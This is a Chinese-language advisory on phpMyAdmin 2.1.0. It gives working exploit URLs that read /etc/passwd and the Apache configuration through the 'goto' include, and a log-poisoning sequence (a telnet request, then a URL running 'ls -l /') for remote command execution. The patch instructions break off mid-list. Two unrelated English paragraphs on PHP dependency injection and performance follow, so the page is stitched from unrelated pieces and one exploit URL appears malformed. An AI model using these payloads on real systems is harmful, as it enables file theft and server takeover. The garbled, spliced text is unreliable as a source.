phpmyadminphpMyAdmin漏洞
phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具,具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳定版本:phpMyAdmin 2.2.0。
1、目录遍历漏洞
攻击者通过提供如下的 URL:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)
http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd
能非法访问系统文件
有问题的代码在:
'include($goto);' in sql.php and in tbl_replace.php.
2、执行攻击者代码漏洞
通过使用全局可写日志文件,攻击者能在受影响服务器上执行任意代码。
首先,得到 Apache 配置文件以便知道日志文件存储位置:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No
可以看出,日志放在:
/var/log/httpd/error_log
/var/log/httpd/access_log
然后 telnet 到 端口80
# telnet www.example.com 80
Trying xxx.xxx.xxx.xxx...
Connected to www.example.com.
Escape character is '^]'.
GET
^]
telnet> quit
Connection closed.
#
在 GET 请求之后,攻击者能将任意 PHP 代码上传
现在,可以用 Apache 用户身份远程运行命令了:
http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/
access_log&btnDrop=No?meters=ls%20-l%20/
受影响系统:
phpMyAdmin 2.1.0
解决方案:
建议:
1.使用 phpMyAdmin 2.2.0
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz
2.用户下载安装补丁:

Dependency injection (DI) significantly improves the testability of PHP code by explicitly transitive dependencies. 1) DI decoupling classes and specific implementations make testing and maintenance more flexible. 2) Among the three types, the constructor injects explicit expression dependencies to keep the state consistent. 3) Use DI containers to manage complex dependencies to improve code quality and development efficiency.

PHP performance bottlenecks can be solved through the following steps: 1) Use Xdebug or Blackfire for performance analysis to find out the problem; 2) Optimize database queries and use caches, such as APCu; 3) Use efficient functions such as array_filter to optimize array operations; 4) Configure OPcache for bytecode cache; 5) Optimize the front-end, such as reducing HTTP requests and optimizing pictures; 6) Continuously monitor and optimize performance. Through these methods, the performance of PHP applications can be significantly improved.
